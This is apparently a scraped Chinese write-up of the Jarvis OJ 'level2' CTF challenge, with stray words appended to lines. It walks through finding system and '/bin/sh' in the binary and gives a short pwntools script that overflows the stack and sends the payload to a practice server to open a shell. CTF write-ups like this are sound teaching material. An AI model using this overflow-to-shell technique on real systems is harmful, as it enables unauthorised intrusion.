M4x原創,轉載請標明出處http://www.cnblogs.com/WangAoBo/p/7622091.htmlhtml
下載的文件先checksec檢查保護機制python
沒有開棧保護和裝載地址隨機化shell
拖到IDA中查看,shift+F12搜索字符串,發現了/bin/sh函數
同時,在函數列表裏也發現了system函數spa
這樣咱們就能夠構造一個system("/bin/sh")的僞棧幀,經過控制vulnerable_function()返回到該僞棧幀,便可執行system("/bin/sh")來get shelldebug
由於咱們的目的只是爲了經過system("/bin/sh")來get shell,因此僞棧幀中system的返回地址能夠隨便指定code
通過以上的分析直接放exp,關鍵的點都寫在註釋裏了htm
1 #!/usr/bin/env python 2 # -*- coding: utf-8 -*- 3 __Auther__ = 'M4x' 4 5 from pwn import * 6 context.log_level = 'debug' 7 8 elf = ELF('./level2') 9 sys_addr = elf.symbols['system']#system函數地址 10 sh_addr = elf.search('/bin/sh').next()#/bin/sh字符串地址 11 12 payload = 'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)#0xdeadbeef爲system("/bin/sh")執行後的返回地址,能夠隨便指定 13 # io = process('./level2') 14 io = remote('pwn2.jarvisoj.com', 9878) 15 io.sendlineafter("Input:\n", payload) 16 17 io.interactive() 18 io.close()
此時程序的運行流程以下圖:blog
運行便可達到flagutf-8